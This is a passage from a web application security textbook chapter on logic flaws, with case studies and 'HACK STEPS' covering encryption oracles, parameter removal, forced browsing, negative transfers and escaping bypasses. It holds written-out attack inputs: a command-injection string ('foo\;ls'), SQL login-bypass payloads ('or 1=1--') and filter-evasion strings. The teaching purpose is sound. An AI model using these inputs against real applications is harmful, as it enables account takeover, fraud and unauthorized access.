that it could not be   replayed by an attacker who gained access to it, data specifi c to the machine   was also collected, including the IP address.  This cookie was justifi ably considered a robust solution for protecting a   potentially vulnerable piece of required business functionality.  As well as a “remember me” function, the application had functionality to   store the user’s screen name within a cookie named ScreenName. That way, the   user could receive a personalized greeting in the corner of the site whenever   she next visited the site. Deciding that this name was also a piece of security   information, it was deemed that this should also be encrypted.  The Assumption  The developers decided that because the ScreenName cookie was of considerably   less value to an attacker than the RememberMe cookie, they may as well use the   same encryption algorithm to protect it. What they did not consider was that a   user can specify his screen name and view it onscreen. This inadvertently gave   users access to the encryption function (and encryption key) used to protect the   persistent authentication token RememberMe.  The Attack  In a simple attack, a user supplied the encrypted value of his or her RememberMe  cookie in place of the encrypted ScreenName cookie. When displaying the screen   name back to the user, the application would decrypt the value, check that   c11.indd 407c11.indd   407 8/19/2011 12:11:44 PM8/19/2011   12:11:44 PMStuttard   c11.indd   V2 - 07/26/2011 Page 408  408 Chapter 11  Attacking Application Logic  decryption had worked, and then print the result on-screen. This resulted in   the following message:  Welcome, marcus|734|192.168.4.282750184  Although this was interesting, it was not necessarily a high-risk issue. It   simply meant that given an encrypted RememberMe cookie, an attacker could   list the contents, including a username, user ID, and IP address. Because no   password was stored in the cookie, there was no immediate way to act on the   information obtained.  The real issue arose from the fact that users could specify their screen names.   As a result, a user could choose this screen name, for example:  admin|1|192.168.4.282750184  When the user logged out and logged back in, the application encrypted this   value and stored it in the user’s browser as the encrypted ScreenName cookie.   If an attacker submitted this encrypted token as the value of the RememberMe  cookie, the application decrypted it, read the user ID, and logged in the attacker   as the administrator! Even though the encryption was Triple DES, using a strong   key and protected against replay attacks, the application could be harnessed as   an “encryption oracle” to decrypt and encrypt arbitrary values.  HACK STEPS  Manifestations of this type of vulnerability can be found in diverse locations.   Examples include account recovery tokens, token-based access to authenti-  cated resources, and any other value being sent to the client side that needs   to be either tamper-proof or unreadable to the user.    1.  Look for locations where encryption (not hashing) is used in the applica-  tion. Determine any locations where the application encrypts or decrypts   values supplied by a user, and attempt to substitute any other encrypted   values encountered within the application. Try to cause an error within   the application that reveals the decrypted value or where the decrypted   value is purposely displayed on-screen.    2.  Look for an “oracle reveal” vulnerability by determining where an   encrypted value can be supplied that results in the correspond-  ing decrypted value’s being displayed in the application’s response.   Determine whether this leads to the disclosure of sensitive information,   such as a password or credit card.    3.  Look for an “oracle encrypt” vulnerability by determining where supply-  ing a cleartext value causes the application to return a corresponding   encrypted value. Determine where this can be abused by specifying arbi-  trary values, or malicious payloads that the application will process.  c11.indd 408c11.indd   408 8/19/2011 12:11:44 PM8/19/2011   12:11:44 PM08 Stuttard   c11.indd   V2 - 07/26/2011 Page 409   Chapter 11  Attacking Application Logic  409  Example 2: Fooling a Password Change Function  The authors have encountered this logic fl aw in a web application implemented   by a fi nancial services company and also in the AOL AIM Enterprise Gateway   application.  The Functionality  The application implemented a password change function for end users. It   required the user to fi ll out fi elds for username, existing password, new pass-  word, and confi rm new password.  There was also a password change function for use by administrators. This   allowed them to change the password of any user without supplying the existing   password. The two functions were implemented within the same server-side   script.  The Assumption  The client-side interface presented to users and administrators differed in one   respect: the administrator’s interface did not contain a fi eld for the existing   password. When the server-side application processed a password change   request, it used the presence or absence of the existing password parameter to   indicate whether the request was from an administrator or an ordinary user. In   other words, it assumed that ordinary users would always supply an existing   password parameter.  The code responsible looked something like this:  String existingPassword = request.getParameter(“existingPassword”);  if (null == existingPassword)  {      trace(“Old password not supplied, must be an administrator”);      return true;  }  else  {      trace(“Verifying user’s old password”);      ...  The Attack  When the assumption is explicitly stated in this way, the logic fl aw becomes   obvious. Of course, an ordinary user could issue a request that did not contain   an existing password parameter, because users controlled every aspect of the   requests they issued.  c11.indd 409c11.indd   409 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 410  410 Chapter 11  Attacking Application Logic  This logic fl aw was devastating for the application. It enabled an attacker to   reset the password of any other user and take full control of that person’s account.  HACK STEPS    1.  When probing key functionality for logic flaws, try removing in turn each   parameter submitted in requests, including cookies, query string fields,   and items of POST data.    2.  Be sure to delete the actual name of the parameter as well as its value.   Do not just submit an empty string, because typically the server handles   this differently.    3.  Attack only one parameter at a time to ensure that all relevant code paths   within the application are reached.    4.  If the request you are manipulating is part of a multistage process, follow   the process through to completion, because some later logic may process   data that was supplied in earlier steps and stored within the session.  Example 3: Proceeding to Checkout  The authors encountered this logic fl aw in the web application employed by   an online retailer.  The Functionality  The process of placing an order involved the following stages:    1.  Browse the product catalog, and add items to the shopping basket.    2.  Return to the shopping basket, and fi nalize the order.    3.  Enter payment information.    4.  Enter delivery information.  The Assumption  The developers assumed that users would always access the stages in the intended   sequence, because this was the order in which the stages are delivered to the   user by the navigational links and forms presented to the user’s browser. Hence,   any user who completed the ordering process must have submitted satisfactory   payment details along the way.  The Attack  The developers’ assumption was fl awed for fairly obvious reasons. Users con-  trolled every request they made to the application and therefore could access   c11.indd 410c11.indd   410 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PM10 Stuttard   c11.indd   V2 - 07/26/2011 Page 411   Chapter 11  Attacking Application Logic  411  any stage of the ordering process in any sequence. By proceeding directly from   stage 2 to stage 4, an attacker could generate an order that was fi nalized for   delivery but that had not actually been paid for.  HACK STEPS  The technique for fi nding and exploiting fl aws of this kind is known as forced   browsing. It involves circumventing any controls imposed by in-browser navi-  gation on the sequence in which application functions may be accessed:    1.  When a multistage process involves a defined sequence of requests,   attempt to submit these requests out of the expected sequence. Try skip-  ping certain stages, accessing a single stage more than once, and access-  ing earlier stages after later ones.    2.  The sequence of stages may be accessed via a series of GET or POST  requests for distinct URLs, or they may involve submitting different sets of   parameters to the same URL. The stage being requested may be specified   by submitting a function name or index within a request parameter. Be   sure to understand fully the mechanisms that the application is employing   to deliver access to distinct stages.    3.  From the context of the functionality that is implemented, try to under-  stand what assumptions the developers may have made and where the   key attack surface lies. Try to identify ways of violating those assumptions   to cause undesirable behavior within the application.    4.  When multistage functions are accessed out of sequence, it is common   to encounter a variety of anomalous conditions within the application,   such as variables with null or uninitialized values, a partially defined or   inconsistent state, and other unpredictable behavior. In this situation, the   application may return an interesting error message and debug output,   which you can use to better understand its internal workings and thereby   fine-tune the current or a different attack (see Chapter 15). Sometimes,   the application may get into a state entirely unanticipated by developers,   which may lead to serious security flaws.  NOTE Many types of access control vulnerability are similar in nature to this   logic fl aw. When a privileged function involves multiple stages that normally   are accessed in a defi ned sequence, the application may assume that users   will always proceed through the functionality in this sequence. The applica-  tion may enforce strict access control on the initial stages of the process and   assume that any user who reaches the later stages therefore must be autho-  rized. If a low-privileged user proceeds directly to a later stage, she may be   able to access it without any restrictions. See Chapter 8 for more details on   fi nding and exploiting vulnerabilities of this kind.  c11.indd 411c11.indd   411 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 412  412 Chapter 11  Attacking Application Logic  Example 4: Rolling Your Own Insurance  The authors encountered this logic fl aw in a web application deployed by a   fi nancial services company.  The Functionality  The application enabled users to obtain quotes for insurance and, if desired,   complete and submit an insurance application online. The process was spread   across a dozen stages:    At the fi rst stage, the applicant submitted some basic information and   specifi ed either a preferred monthly premium or the value he wanted   insurance for. The application offered a quote, computing whichever   value the applicant did not specify.    Across several stages, the applicant supplied various other personal details,   including health, occupation, and pastimes.    Finally, the application was transmitted to an underwriter working for   the insurance company. Using the same web application, the underwriter   reviewed the details and decided whether to accept the application as is   or modify the initial quote to refl ect any additional risks.  Through each of the stages described, the application employed a shared com-  ponent to process each parameter of user data submitted to it. This component   parsed all the data in each POST request into name/value pairs and updated its   state information with each item of data received.  The Assumption  The component that processed user-supplied data assumed that each request   would contain only the parameters that had been requested from the user in   the relevant HTML form. Developers did not consider what would happen if a   user submitted parameters he was not asked to supply.  The Attack  Of course, the assumption was fl awed, because users could submit arbitrary   parameter names and values with every request. As a result, the application’s   core functionality was broken in various ways:    An attacker could exploit the shared component to bypass all server-side   input validation. At each stage of the quotation process, the application   performed strict validation of the data expected at that stage and rejected   any data that failed this validation. But the shared component updated   c11.indd 412c11.indd   412 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PM12 Stuttard   c11.indd   V2 - 07/26/2011 Page 413   Chapter 11  Attacking Application Logic  413  the application’s state with every parameter supplied by the user. Hence,   if an attacker submitted data out of sequence by supplying a name/value   pair that the application expected at an earlier stage, that data would be   accepted and processed, with no validation having been performed. As it   happened, this possibility paved the way for a stored cross-site scripting   attack targeting the underwriter, which allowed a malicious user to access   the personal information of other applicants (see Chapter 12).    An attacker could buy insurance at an arbitrary price. At the fi rst stage of   the quotation process, the applicant specifi ed either her preferred monthly   premium or the value she wanted to insure, and the application computed   the other item accordingly. However, if a user supplied new values for   either or both of these items at a later stage, the application’s state was   updated with these values. By submitting these parameters out of sequence,   an attacker could obtain a quote for insurance at an arbitrary value and   arbitrary monthly premium.    There were no access controls regarding which parameters a given type of   user could supply. When an underwriter reviewed a completed applica-  tion, he updated various items of data, including the acceptance decision.   This data was processed by the shared component in the same way as   data supplied by an ordinary user. If an attacker knew or guessed the   parameter names used when the underwriter reviewed an application, the   attacker could simply submit these, thereby accepting his own application   without any actual underwriting.  HACK STEPS  The fl aws in this application were fundamental to its security, but none of   them would have been identifi ed by an attacker who simply intercepted   browser requests and modifi ed the parameter values being submitted.    1.  Whenever an application implements a key action across multiple stages,   you should take parameters that are submitted at one stage of the pro-  cess and try submitting these to a different stage. If the relevant items of   data are updated within the application’s state, you should explore the   ramifications of this behavior to determine whether you can leverage it to   carry out any malicious action, as in the preceding three examples.    2.  If the application implements functionality whereby different categories   of user can update or perform other actions on a common collection   of data, you should walk through the process using each type of user   and observe the parameters submitted. Where different parameters are   ordinarily submitted by the different users, take each parameter submit-  ted by one user and try to submit it as the other user. If the parameter   is accepted and processed as that user, explore the implications of this   behavior as previously described.  c11.indd 413c11.indd   413 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 414  414 Chapter 11  Attacking Application Logic  Example 5: Breaking the Bank  The authors encountered this logic fl aw in the web application deployed by a   major fi nancial services company.  The Functionality  The application enabled existing customers who did not already use the online   application to register to do so. New users were required to supply some basic   personal information to provide a degree of assurance of their identity. This   information included name, address, and date of birth, but it did not include   anything secret such as an existing password or PIN.  When this information had been entered correctly, the application forwarded   the registration request to back-end systems for processing. An information pack   was mailed to the user’s registered home address. This pack included instructions   for activating her online access via a telephone call to the company’s call center   and also a one-time password to use when fi rst logging in to the application.  The Assumption  The application’s designers believed that this mechanism provided a robust   defense against unauthorized access to the application. The mechanism imple-  mented three layers of protection:    A modest amount of personal data was required up front to deter a mali-  cious attacker or mischievous user from attempting to initiate the registra-  tion process on other users’ behalf.    The process involved transmitting a key secret out-of-band to the cus-  tomer’s registered home address. An attacker would need to have access   to the victim’s personal mail.    The customer was required to telephone the call center and authenticate   himself there in the usual way, based on personal information and selected   digits from a PIN.  This design was indeed robust. The logic fl aw lay in the implementation of   the mechanism.  The developers implementing the registration mechanism needed a way to   store the personal data submitted by the user and correlate this with a unique   customer identity within the company’s database. Keen to reuse existing code,   they came across the following class, which appeared to serve their purposes:  class CCustomer  {      String firstName;      String lastName;  c11.indd 414c11.indd   414 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PM14 Stuttard   c11.indd   V2 - 07/26/2011 Page 415   Chapter 11  Attacking Application Logic  415      CDoB dob;      CAddress homeAddress;      long custNumber;      ...  After the user’s information was captured, this object was instantiated, popu-  lated with the supplied information, and stored in the user’s session. The applica-  tion then verifi ed the user’s details and, if they were valid, retrieved that user’s   unique customer number, which was used in all the company’s systems. This   number was added to the object, together with some other useful information   about the user. The object was then transmitted to the relevant back-end system   for the registration request to be processed.  The developers assumed that using this code component was harmless and   would not lead to a security problem. However, the assumption was fl awed,   with serious consequences.  The Attack  The same code component that was incorporated into the registration function-  ality was also used elsewhere within the application, including within the core   functionality. This gave authenticated users access to account details, statements,   funds transfers, and other information. When a registered user successfully   authenticated herself to the application, this same object was instantiated and   saved in her session to store key information about her identity. The majority   of the functionality within the application referenced the information within   this object to carry out its actions. For example, the account details presented to   the user on her main page were generated on the basis of the unique customer   number contained within this object.  The way in which the code component was already being employed within   the application meant that the developers’ assumption was fl awed, and the   manner in which they reused it did indeed open a signifi cant vulnerability.  Although the vulnerability was serious, it was in fact relatively subtle to   detect and exploit. Access to the main application functionality was protected by   access controls at several layers, and a user needed to have a fully authenticated   session to pass these controls. To exploit the logic fl aw, therefore, an attacker   needed to follow these steps:    Log in to the application using his own valid account credentials.    Using the resulting authenticated session, access the registration function-  ality and submit a different customer’s personal information. This caused   the application to overwrite the original CCustomer object in the attacker’s   session with a new object relating to the targeted customer.    Return to the main application functionality and access the other cus-  tomer’s account.  c11.indd 415c11.indd   415 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 416  416 Chapter 11  Attacking Application Logic  A vulnerability of this kind is not easy to detect when probing the applica-  tion from a black-box perspective. However, it is also hard to identify when   reviewing or writing the actual source code. Without a clear understanding of   the application as a whole and how different components are used in different   areas, the fl awed assumption made by developers may not be evident. Of course,   clearly commented source code and design documentation would reduce the   likelihood of such a defect’s being introduced or remaining undetected.  HACK STEPS    1.  In a complex application involving either horizontal or vertical privilege   segregation, try to locate any instances where an individual user can accu-  mulate an amount of state within his session that relates in some way to   his identity.    2.  Try to step through one area of functionality, and then switch to an unre-  lated area, to determine whether any accumulated state information has   an effect on the application’s behavior.  Example 6: Beating a Business Limit  The authors encountered this logic fl aw in a web-based enterprise resource   planning application used within a manufacturing company.  The Functionality  Finance personnel could perform funds transfers between various bank accounts   owned by the company and its key customers and suppliers. As a precaution   against fraud, the application prevented most users from processing transfers   with a value greater than $10,000. Any transfer larger than this required a senior   manager’s approval.  The Assumption  The code responsible for implementing this check within the application was   simple:  bool CAuthCheck::RequiresApproval(int amount)  {      if (amount <= m_apprThreshold)          return false;      else return true;  }  c11.indd 416c11.indd   416 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PM16 Stuttard   c11.indd   V2 - 07/26/2011 Page 417   Chapter 11  Attacking Application Logic  417  The developers assumed that this transparent check was bulletproof. No   transaction for greater than the confi gured threshold could ever escape the   requirement for secondary approval.  The Attack  The developers’ assumption was fl awed because they overlooked the possibility   that a user would attempt to process a transfer for a negative amount. Any nega-  tive number would clear the approval test, because it is less than the threshold.   However, the banking module of the application accepted negative transfers and   simply processed them as positive transfers in the opposite direction. Hence,   any user who wanted to transfer $20,000 from account A to account B could   simply initiate a transfer of –$20,000 from account B to account A, which had   the same effect and required no approval. The antifraud defenses built into the   application could be bypassed easily!  NOTE Many kinds of web applications employ numeric limits within their   business logic:   A retailing application may prevent a user from ordering more than the   number of units available in stock.   A banking application may prevent a user from making bill payments   that exceed her current account balance.   An insurance application may adjust its quotes based on age thresholds.  Finding a way to beat such limits often does not represent a security com-  promise of the application itself. However, it may have serious business con-  sequences and represent a breach of the controls that the owner is relying on   the application to enforce.  The most obvious vulnerabilities of this kind often are detected during   the user-acceptance testing that normally occurs before an application is   launched. However, more subtle manifestations of the problem may remain,   particularly when hidden parameters are being manipulated.  HACK STEPS  The fi rst step in attempting to beat a business limit is to understand what   characters are accepted within the relevant input that you control.    1.  Try entering negative values, and see if the application accepts them and   processes them in the way you would expect.    2.  You may need to perform several steps to engineer a change in the appli-  cation’s state that can be exploited for a useful purpose. For example,   several transfers between accounts may be required until a suitable bal-  ance has been accrued that can actually be extracted.  c11.indd 417c11.indd   417 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 418  418 Chapter 11  Attacking Application Logic  Example 7: Cheating on Bulk Discounts  The authors encountered this logic fl aw in the retail application of a software   vendor.  The Functionality  The application allowed users to order software products and qualify for bulk   discounts if a suitable bundle of items was purchased. For example, users who   purchased an antivirus solution, personal fi rewall, and antispam software were   entitled to a 25% discount on the individual prices.  The Assumption  When a user added an item of software to his shopping basket, the application   used various rules to determine whether the bundle of purchases he had chosen   entitled him to a discount. If so, the prices of the relevant items within the shop-  ping basket were adjusted in line with the discount. The developers assumed   that the user would go on to purchase the chosen bundle and therefore would   be entitled to the discount.  The Attack  The developers’ assumption is rather obviously fl awed because it ignores the   fact that users may remove items from their shopping baskets after they have   been added. A crafty user could add to his basket large quantities of every   single product on sale from the vendor to attract the maximum possible bulk   discounts. After the discounts were applied to items in his shopping basket, he   could remove items he did not want and still receive the discounts applied to   the remaining products.  HACK STEPS    1.  In any situation where prices or other sensitive values are adjusted based   on criteria that are determined by user-controllable data or actions, first   understand the algorithms that the application uses and the point within   its logic where adjustments are made. Identify whether these adjustments   are made on a one-time basis or whether they are revised in response to   further actions performed by the user.    2.  Think imaginatively. Try to find a way of manipulating the application’s   behavior to cause it to get into a state where the adjustments it has   applied do not correspond to the original criteria intended by its design-  ers. In the most obvious case, as just described, this may simply involve   removing items from a shopping cart after a discount has been applied!  c11.indd 418c11.indd   418 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PM18 Stuttard   c11.indd   V2 - 07/26/2011 Page 419   Chapter 11  Attacking Application Logic  419  Example 8: Escaping from Escaping  The authors encountered this logic fl aw in various web applications, including   the web administration interface used by a network intrusion detection product.  The Functionality  The application’s designers had decided to implement some functionality that   involved passing user-controllable input as an argument to an operating system   command. The application’s developers understood the inherent risks involved   in this kind of operation (see Chapter 9) and decided to defend against these   risks by sanitizing any potentially malicious characters within the user input.   Any instances of the following would be escaped using the backslash character:  ;|&<>‘ space and newline  Escaping data in this way causes the shell command interpreter to treat the   relevant characters as part of the argument being passed to the invoked com-  mand, rather than as shell metacharacters. Such metacharacters could be used   to inject additional commands or arguments, redirect output, and so on.  The Assumption  The developers were certain that they had devised a robust defense against   command injection attacks. They had brainstormed every possible character that   might assist an attacker and had ensured that they were all properly escaped   and therefore made safe.  The Attack  The developers forgot to escape the escape character itself.  The backslash character usually is not of direct use to an attacker when   exploiting a simple command injection fl aw. Therefore, the developers did not   identify it as potentially malicious. However, by failing to escape it, they pro-  vided a means for the attacker to defeat their sanitizing mechanism.  Suppose an attacker supplies the following input to the vulnerable function:  foo\;ls  The application applies the relevant escaping, as described previously, so the   attacker’s input becomes:  foo\\;ls  When this data is passed as an argument to the operating system command,   the shell interpreter treats the fi rst backslash as the escape character. Therefore,   it treats the second backslash as a literal backslash—not as an escape character,   but as part of the argument itself. It then encounters a semicolon that is appar-  ently not escaped. It treats this as a command separator and therefore goes on   to execute the injected command supplied by the attacker.  c11.indd 419c11.indd   419 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 420  420 Chapter 11  Attacking Application Logic  HACK STEPS  Whenever you probe an application for command injection and other fl aws,   having attempted to insert the relevant metacharacters into the data you con-  trol, always try placing a backslash immediately before each such character to   test for the logic fl aw just described.  NOTE This same fl aw can be found in some defenses against cross-site   scripting attacks (see Chapter 12). When user-supplied input is copied directly   into the value of a string variable in a piece of JavaScript, this value is encap-  sulated within quotation marks. To defend themselves against cross-site   scripting, many applications use backslashes to escape any quotation marks   that appear within the user’s input. However, if the backslash character itself   is not escaped, an attacker can submit \’ to break out of the string and there-  fore take control of the script. This exact bug was found in early versions of   the Ruby On Rails framework in the escape_javascript function.  Example 9: Invalidating Input Validation  The authors encountered this logic fl aw in a web application used in an e-com-  merce site. Variants can be found in many other applications.  The Functionality  The application contained a suite of input validation routines to protect against   various types of attacks. Two of these defense mechanisms were a SQL injection   fi lter and a length limiter.  It is common for applications to try to defend themselves against SQL injec-  tion by escaping any single quotation marks that appear within string-based   user input (and rejecting any that appear within numeric input). As described   in Chapter 9, two single quotation marks together are an escape sequence that   represents one literal single quote, which the database interprets as data within a   quoted string rather than the closing string terminator. Many developers reason,   therefore, that by doubling any single quotation marks within user-supplied   input, they will prevent any SQL injection attacks from occurring.  The length limiter was applied to all input, ensuring that no variable sup-  plied by a user was longer than 128 characters. It achieved this by truncating   any variables to 128 characters.  The Assumption  It was assumed that both the SQL injection fi lter and length truncation were   desirable defenses from a security standpoint, so both should be applied.  c11.indd 420c11.indd   420 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PM20 Stuttard   c11.indd   V2 - 07/26/2011 Page 421   Chapter 11  Attacking Application Logic  421  The Attack  The SQL injection defense works by doubling any quotation marks appearing   within user input, so that within each pair of quotes, the fi rst quote acts as an   escape character to the second. However, the developers did not consider what   would happen to the sanitized input if it was then handed to the truncation   function.  Recall the SQL injection example in a login function in Chapter 9. Suppose   that the application doubles any single quotation marks contained in user input   and also then imposes a length limit on the data, truncating it to 128 characters.   Supplying this username:  admin’--  now results in the following query, which fails to bypass the login:  SELECT * FROM users WHERE username = ‘admin’’--’ and password = ‘’  However, if you submit a following username (containing 127 a’s followed   by a single quotation mark):  aaaaaaaa[...]aaaaaaaaaaa’  the application fi rst doubles up the single quotation mark and then truncates the   string to 128 characters, returning your input to its original value. This results   in a database error, because you have injected an additional single quotation   mark into the query without fi xing the surrounding syntax. If you now also   supply the password:  or 1=1--  the application performs the following query, which succeeds in bypassing the   login:  SELECT * FROM users WHERE username = ‘aaaaaaaa[...]aaaaaaaaaaa’’ and   password = ‘or 1=1--’  The doubled quotation mark at the end of the string of a’s is interpreted   as an escaped quotation mark and, therefore, as part of the query data. This   string effectively continues as far as the next single quotation mark, which   in the original query marked the start of the user-supplied password value.   Thus, the actual username that the database understands is the literal string   data shown here:  aaaaaaaa[...]aaaaaaaaaaa’and password =  Hence, whatever comes next is interpreted as part of the query itself and can   be crafted to interfere with the query logic.  c11.indd 421c11.indd   421 8/19/2011 12:11:45 PM8/19/2011   12:11:45 PMStuttard   c11.indd   V2 - 07/26/2011 Page 422  422 Chapter 11  Attacking Application Logic  TIP You can test for this type of vulnerability without knowing exactly what   length limit is being imposed by submitting in turn two long strings of the fol-  lowing form:  ‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’ and so on  a’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’ and so on   and determining whether an error occurs. Any truncation of escaped input will   occur after either an even or odd number of characters. Whichever possibility   is the case, one of the preceding strings will result in an odd number of single   quotation marks being inserted into the query, resulting in invalid syntax.  HACK STEPS  Make a note of any instances in which the application modifi es user input, in   particular by truncating it, stripping out data, encoding, or decoding. For any   observed instances, determine whether a malicious string can be contrived:    1.  If data is stripped once (nonrecursively), determine whether you can   submit a string that compensates for this. For example, if the application   filters SQL keywords such as SELECT, submit SELSELECTECT and see if   the resulting filtering removes the inner SELECT substring, leaving the   word SELECT.    2.  If data validation takes place in a set order and one or more validation   processes modifies the data, determine whether this can be used to beat   one of the prior validation steps. For example, if the application performs   URL decoding and then strips malicious data such as the